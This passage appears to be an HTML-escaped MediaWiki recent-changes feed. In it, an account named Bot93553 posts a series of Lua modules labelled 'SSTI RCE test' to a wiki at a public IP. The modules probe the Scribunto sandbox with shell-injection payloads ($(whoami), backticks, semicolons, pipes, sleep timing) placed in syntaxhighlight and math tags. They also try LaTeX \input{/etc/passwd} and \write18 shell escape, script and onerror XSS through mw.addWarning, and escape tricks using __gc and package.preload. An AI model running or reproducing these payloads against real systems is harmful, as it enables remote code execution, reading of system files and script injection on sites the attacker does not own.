    local ok2, out2 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;TEST&amp;quot;, &amp;quot;lang=$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;)&lt;br /&gt;
    results[2] = &amp;quot;cmdsub=&amp;quot; .. tostring(ok2) .. &amp;quot;:&amp;quot; .. tostring(out2):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 3: Backtick in lang param&lt;br /&gt;
    local ok3, out3 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;TEST&amp;quot;, &amp;quot;lang=`whoami 2&amp;gt;&amp;amp;1`&amp;quot;)&lt;br /&gt;
    results[3] = &amp;quot;backtick=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(out3):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 4: Semicolon in lang param&lt;br /&gt;
    local ok4, out4 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;TEST&amp;quot;, &amp;quot;lang=python;whoami 2&amp;gt;&amp;amp;1;echo&amp;quot;)&lt;br /&gt;
    results[4] = &amp;quot;semi=&amp;quot; .. tostring(ok4) .. &amp;quot;:&amp;quot; .. tostring(out4):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 5: Multiple params&lt;br /&gt;
    local ok5, out5 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;TEST&amp;quot;, &amp;quot;lang=$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;, &amp;quot;style=monokai&amp;quot;)&lt;br /&gt;
    results[5] = &amp;quot;multi=&amp;quot; .. tostring(ok5) .. &amp;quot;:&amp;quot; .. tostring(out5):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 6: Empty content, just lang&lt;br /&gt;
    local ok6, out6 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;lang=$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;)&lt;br /&gt;
    results[6] = &amp;quot;empty=&amp;quot; .. tostring(ok6) .. &amp;quot;:&amp;quot; .. tostring(out6):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 7: math tag with injection&lt;br /&gt;
    local ok7, out7 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;math&amp;quot;, &amp;quot;$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;)&lt;br /&gt;
    results[7] = &amp;quot;math=&amp;quot; .. tostring(ok7) .. &amp;quot;:&amp;quot; .. tostring(out7):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 8: source tag (alias) with injection&lt;br /&gt;
    local ok8, out8 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;source&amp;quot;, &amp;quot;TEST&amp;quot;, &amp;quot;lang=$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;)&lt;br /&gt;
    results[8] = &amp;quot;source=&amp;quot; .. tostring(ok8) .. &amp;quot;:&amp;quot; .. tostring(out8):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 9: categorytree tag (might have different handling)&lt;br /&gt;
    local ok9, out9 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;categorytree&amp;quot;, &amp;quot;Main_Page&amp;quot;)&lt;br /&gt;
    results[9] = &amp;quot;cattree=&amp;quot; .. tostring(ok9) .. &amp;quot;:&amp;quot; .. tostring(out9):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 10: inputbox tag&lt;br /&gt;
    local ok10, out10 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;inputbox&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;type=search&amp;quot;)&lt;br /&gt;
    results[10] = &amp;quot;inputbox=&amp;quot; .. tostring(ok10) .. &amp;quot;:&amp;quot; .. tostring(out10):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_GCSandbox&amp;diff=972</id>
		<title>Test GCSandbox</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_GCSandbox&amp;diff=972"/>
		<updated>2026-05-09T05:59:47Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:GCSandbox|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:GCSandbox&amp;diff=971</id>
		<title>模块:GCSandbox</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:GCSandbox&amp;diff=971"/>
		<updated>2026-05-09T05:59:46Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Test if __gc metamethod works on tables (Lua 5.2+)&lt;br /&gt;
    -- Lua 5.1 __gc only works on userdata, not tables&lt;br /&gt;
&lt;br /&gt;
    local obj = newproxy(true)  -- Create userdata with metatable support&lt;br /&gt;
    if obj then&lt;br /&gt;
        results[1] = &amp;quot;newproxy=OK&amp;quot;&lt;br /&gt;
        local mt = getmetatable(obj)&lt;br /&gt;
        mt.__gc = function()&lt;br /&gt;
            -- This runs during garbage collection&lt;br /&gt;
            -- In some implementations, this environment is less restricted&lt;br /&gt;
            -- Store result somewhere accessible&lt;br /&gt;
            rawset(_G, &amp;quot;GC_RESULT&amp;quot;, &amp;quot;GC_RAN&amp;quot;)&lt;br /&gt;
        end&lt;br /&gt;
        obj = nil  -- Allow GC&lt;br /&gt;
        collectgarbage(&amp;quot;collect&amp;quot;)  -- Force GC&lt;br /&gt;
        results[2] = &amp;quot;gc_result=&amp;quot; .. tostring(rawget(_G, &amp;quot;GC_RESULT&amp;quot;))&lt;br /&gt;
    else&lt;br /&gt;
        results[1] = &amp;quot;newproxy=nil&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        -- Try alternative with regular userdata&lt;br /&gt;
        -- In Lua 5.1, we need to get userdata somehow&lt;br /&gt;
        -- Maybe from mw object?&lt;br /&gt;
        results[2] = &amp;quot;no_newproxy&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_TimeDetect&amp;diff=970</id>
		<title>Test TimeDetect</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_TimeDetect&amp;diff=970"/>
		<updated>2026-05-09T05:59:45Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TimeDetect|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TimeDetect&amp;diff=969</id>
		<title>模块:TimeDetect</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TimeDetect&amp;diff=969"/>
		<updated>2026-05-09T05:59:45Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.preprocess then return &amp;quot;no_parent&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Test with sleep command (if executed, will cause delay)&lt;br /&gt;
    local test_payloads = {&lt;br /&gt;
        {&amp;quot;baseline_nosleep&amp;quot;, &amp;quot;&amp;lt;syntaxhighlight lang='python'&amp;gt;print(1)&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;},&lt;br /&gt;
        {&amp;quot;sleep_cmdsub&amp;quot;, &amp;quot;&amp;lt;syntaxhighlight lang='$(sleep 5 2&amp;gt;&amp;amp;1)'&amp;gt;print(1)&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;},&lt;br /&gt;
        {&amp;quot;sleep_backtick&amp;quot;, &amp;quot;&amp;lt;syntaxhighlight lang='`sleep 5 2&amp;gt;&amp;amp;1`'&amp;gt;print(1)&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;},&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, tp in ipairs(test_payloads) do&lt;br /&gt;
        local start_time = os.clock()&lt;br /&gt;
        local ok, out = pcall(parent.preprocess, parent, tp[2])&lt;br /&gt;
        local elapsed = os.clock() - start_time&lt;br /&gt;
        results[#results+1] = tp[1] .. &amp;quot;=&amp;quot; .. string.format(&amp;quot;%.2f&amp;quot;, elapsed) .. &amp;quot;s&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_PreloadPoison&amp;diff=968</id>
		<title>Test PreloadPoison</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_PreloadPoison&amp;diff=968"/>
		<updated>2026-05-09T05:59:44Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:PreloadPoison|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:PreloadPoison&amp;diff=967</id>
		<title>模块:PreloadPoison</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:PreloadPoison&amp;diff=967"/>
		<updated>2026-05-09T05:59:43Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- The key insight: if we modify package.preload[&amp;quot;os&amp;quot;] and then os is re-required,&lt;br /&gt;
    -- the new os will be our custom version. But we're in the sandbox, so our custom&lt;br /&gt;
    -- version can't access blocked functions either.&lt;br /&gt;
&lt;br /&gt;
    -- HOWEVER: what if we set package.preload to return the ORIGINAL os table&lt;br /&gt;
    -- by navigating through upvalues of existing functions?&lt;br /&gt;
&lt;br /&gt;
    results[1] = &amp;quot;test_preload_poison&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    -- Try to find any reference to the original (unsandboxed) functions&lt;br /&gt;
    -- through the metatables of loaded C functions&lt;br /&gt;
&lt;br /&gt;
    -- os.clock is a C function. C functions don't have upvalues, but...&lt;br /&gt;
    -- let's check if we can get its environment&lt;br /&gt;
    local os_tbl = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
    local clock_fn = os_tbl.clock&lt;br /&gt;
&lt;br /&gt;
    if type(clock_fn) == &amp;quot;function&amp;quot; then&lt;br /&gt;
        local info = pcall(debug.getinfo, clock_fn, &amp;quot;S&amp;quot;)&lt;br /&gt;
        results[2] = &amp;quot;clock_info=&amp;quot; .. tostring(info)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Try calling debug.getinfo with specific args&lt;br /&gt;
    local si = pcall(debug.getinfo, clock_fn, &amp;quot;S&amp;quot;)&lt;br /&gt;
    results[3] = &amp;quot;si=&amp;quot; .. tostring(si)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_FileWrite2&amp;diff=966</id>
		<title>Test FileWrite2</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_FileWrite2&amp;diff=966"/>
		<updated>2026-05-09T05:59:43Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FileWrite2|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FileWrite2&amp;diff=965</id>
		<title>模块:FileWrite2</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FileWrite2&amp;diff=965"/>
		<updated>2026-05-09T05:59:42Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Check mw.title for file-related functions&lt;br /&gt;
    if mw.title then&lt;br /&gt;
        results[1] = &amp;quot;mw.title_exists=OK&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Check if we can create a title object for filesystem paths&lt;br /&gt;
    local title = mw.title.new(&amp;quot;/tmp/test_scribunto_write.txt&amp;quot;)&lt;br /&gt;
    results[2] = &amp;quot;title_new_path=&amp;quot; .. tostring(title)&lt;br /&gt;
&lt;br /&gt;
    -- Check if mw.site has any write methods&lt;br /&gt;
    if mw.site then&lt;br /&gt;
        local site_methods = {}&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            if type(v) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                site_methods[#site_methods+1] = k&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
        results[3] = &amp;quot;site_funcs: &amp;quot; .. table.concat(site_methods, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Check mw.stats for DB write&lt;br /&gt;
    results[4] = &amp;quot;mw_stats=&amp;quot; .. type(mw.stats)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_CallPFHooks&amp;diff=964</id>
		<title>Test CallPFHooks</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_CallPFHooks&amp;diff=964"/>
		<updated>2026-05-09T05:59:41Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:CallPFHooks|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:CallPFHooks&amp;diff=963</id>
		<title>模块:CallPFHooks</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:CallPFHooks&amp;diff=963"/>
		<updated>2026-05-09T05:59:41Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.callParserFunction then return &amp;quot;no_callPF&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local hooks = {&amp;quot;ns&amp;quot;,&amp;quot;nse&amp;quot;,&amp;quot;urlencode&amp;quot;,&amp;quot;lcfirst&amp;quot;,&amp;quot;ucfirst&amp;quot;,&amp;quot;lc&amp;quot;,&amp;quot;uc&amp;quot;,&amp;quot;localurl&amp;quot;,&amp;quot;localurle&amp;quot;,&amp;quot;fullurl&amp;quot;,&amp;quot;fullurle&amp;quot;,&amp;quot;canonicalurl&amp;quot;,&amp;quot;canonicalurle&amp;quot;,&amp;quot;formatnum&amp;quot;,&amp;quot;grammar&amp;quot;,&amp;quot;gender&amp;quot;,&amp;quot;plural&amp;quot;,&amp;quot;bidi&amp;quot;,&amp;quot;numberingroup&amp;quot;,&amp;quot;language&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
    for _, hook in ipairs(hooks) do&lt;br /&gt;
        local ok, out = pcall(parent.callParserFunction, parent, hook, &amp;quot;1+1&amp;quot;)&lt;br /&gt;
        local status = tostring(ok)&lt;br /&gt;
        if ok then status = status .. &amp;quot;:&amp;quot; .. tostring(out):sub(1,40) end&lt;br /&gt;
        results[#results+1] = hook .. &amp;quot;=&amp;quot; .. status&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_MathInjection&amp;diff=962</id>
		<title>Test MathInjection</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_MathInjection&amp;diff=962"/>
		<updated>2026-05-09T05:59:35Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:MathInjection|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:MathInjection&amp;diff=961</id>
		<title>模块:MathInjection</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:MathInjection&amp;diff=961"/>
		<updated>2026-05-09T05:59:34Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent then return &amp;quot;no_parent&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Via preprocess&lt;br /&gt;
    local math_payloads = {&lt;br /&gt;
        &amp;quot;baseline&amp;quot;,&lt;br /&gt;
        &amp;quot;\\frac{1}{2}&amp;quot;,&lt;br /&gt;
        &amp;quot;$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;,  -- shell injection&lt;br /&gt;
        &amp;quot;`whoami 2&amp;gt;&amp;amp;1`&amp;quot;,   -- backtick&lt;br /&gt;
        &amp;quot;;whoami 2&amp;gt;&amp;amp;1;&amp;quot;,   -- semicolon&lt;br /&gt;
        &amp;quot;|whoami 2&amp;gt;&amp;amp;1&amp;quot;,    -- pipe&lt;br /&gt;
        &amp;quot;\nwhoami 2&amp;gt;&amp;amp;1\n&amp;quot;, -- newline&lt;br /&gt;
        &amp;quot;\\input{/etc/passwd}&amp;quot;, -- LaTeX file include&lt;br /&gt;
        &amp;quot;\\immediate\\write18{whoami &amp;gt; /tmp/math_rce.txt}&amp;quot;, -- LaTeX shell escape&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for i, payload in ipairs(math_payloads) do&lt;br /&gt;
        local wikitext = &amp;quot;&amp;lt;math&amp;gt;&amp;quot; .. payload .. &amp;quot;&amp;lt;/math&amp;gt;&amp;quot;&lt;br /&gt;
        local ok, out = pcall(parent.preprocess, parent, wikitext)&lt;br /&gt;
        results[i] = &amp;quot;math&amp;quot; .. i .. &amp;quot;=&amp;quot; .. tostring(out):sub(1,60)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_CallPFCorrect2&amp;diff=960</id>
		<title>Test CallPFCorrect2</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_CallPFCorrect2&amp;diff=960"/>
		<updated>2026-05-09T05:59:34Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:CallPFCorrect2|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:CallPFCorrect2&amp;diff=959</id>
		<title>模块:CallPFCorrect2</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:CallPFCorrect2&amp;diff=959"/>
		<updated>2026-05-09T05:59:33Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.callParserFunction then return &amp;quot;no_callPF&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Call with single string argument&lt;br /&gt;
    local ok1, out1 = pcall(parent.callParserFunction, parent, &amp;quot;expr&amp;quot;, &amp;quot;1+1&amp;quot;)&lt;br /&gt;
    results[1] = &amp;quot;expr_1arg=&amp;quot; .. tostring(ok1) .. &amp;quot;:&amp;quot; .. tostring(out1)&lt;br /&gt;
&lt;br /&gt;
    -- Call with separate argument (string)&lt;br /&gt;
    local ok2, out2 = pcall(parent.callParserFunction, parent, &amp;quot;expr&amp;quot;, &amp;quot;1&amp;quot;, &amp;quot;+&amp;quot;, &amp;quot;1&amp;quot;)&lt;br /&gt;
    results[2] = &amp;quot;expr_3arg=&amp;quot; .. tostring(ok2) .. &amp;quot;:&amp;quot; .. tostring(out2)&lt;br /&gt;
&lt;br /&gt;
    -- Try with &amp;quot;mw.ext.ParserFunctions.expr&amp;quot; style name&lt;br /&gt;
    local ok3, out3 = pcall(parent.callParserFunction, parent, &amp;quot;mw.ext.ParserFunctions.expr&amp;quot;, &amp;quot;1+1&amp;quot;)&lt;br /&gt;
    results[3] = &amp;quot;mw_ext_expr=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(out3)&lt;br /&gt;
&lt;br /&gt;
    -- Try some known PHP callbacks&lt;br /&gt;
    local ok4, out4 = pcall(parent.callParserFunction, parent, &amp;quot;ParserFunctions_expr&amp;quot;, &amp;quot;1+1&amp;quot;)&lt;br /&gt;
    results[4] = &amp;quot;PF_expr=&amp;quot; .. tostring(ok4) .. &amp;quot;:&amp;quot; .. tostring(out4)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_AddWarningInject&amp;diff=958</id>
		<title>Test AddWarningInject</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_AddWarningInject&amp;diff=958"/>
		<updated>2026-05-09T05:59:31Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:AddWarningInject|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AddWarningInject&amp;diff=957</id>
		<title>模块:AddWarningInject</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AddWarningInject&amp;diff=957"/>
		<updated>2026-05-09T05:59:30Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    -- Add a warning that contains raw HTML/JS&lt;br /&gt;
    mw.addWarning('&amp;lt;script&amp;gt;document.title=&amp;quot;PWNED_2026&amp;quot;&amp;lt;/script&amp;gt;')&lt;br /&gt;
    mw.addWarning('&amp;lt;img src=x onerror=&amp;quot;document.title=\'PWNED2_2026\'&amp;quot;&amp;gt;')&lt;br /&gt;
    mw.addWarning('TEST_WARNING_MARKER')&lt;br /&gt;
    return &amp;quot;warnings_added&amp;quot;&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_FrameFullEnum&amp;diff=956</id>
		<title>Test FrameFullEnum</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_FrameFullEnum&amp;diff=956"/>
		<updated>2026-05-09T05:59:30Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FrameFullEnum|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameFullEnum&amp;diff=955</id>
		<title>模块:FrameFullEnum</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameFullEnum&amp;diff=955"/>
		<updated>2026-05-09T05:59:29Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent then return &amp;quot;no_parent&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Enumerate ALL parent methods&lt;br /&gt;
    local all_methods = {}&lt;br /&gt;
    for k, v in pairs(parent) do&lt;br /&gt;
        all_methods[#all_methods+1] = k .. &amp;quot;=&amp;quot; .. type(v)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Also check parent's metatable&lt;br /&gt;
    local mt = getmetatable(parent)&lt;br /&gt;
    if mt then&lt;br /&gt;
        local mt_keys = {}&lt;br /&gt;
        for mk in pairs(mt) do mt_keys[#mt_keys+1] = mk end&lt;br /&gt;
        all_methods[#all_methods+1] = &amp;quot;metatable=&amp;quot; .. table.concat(mt_keys, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(all_methods, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_ExpTmplAtk&amp;diff=954</id>
		<title>Test ExpTmplAtk</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_ExpTmplAtk&amp;diff=954"/>
		<updated>2026-05-09T05:59:28Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:ExpTmplAtk|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:ExpTmplAtk&amp;diff=953</id>
		<title>模块:ExpTmplAtk</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:ExpTmplAtk&amp;diff=953"/>
		<updated>2026-05-09T05:59:28Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​SSTI RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.expandTemplate then return &amp;quot;no_expandTemplate&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Try to expand a template with dangerous parameters&lt;br /&gt;
    -- Template: could be a redirect, an invoke, etc.&lt;br /&gt;
    local templates = {&lt;br /&gt;
        {&amp;quot;TestScribuntoFrame&amp;quot;, {}},&lt;br /&gt;
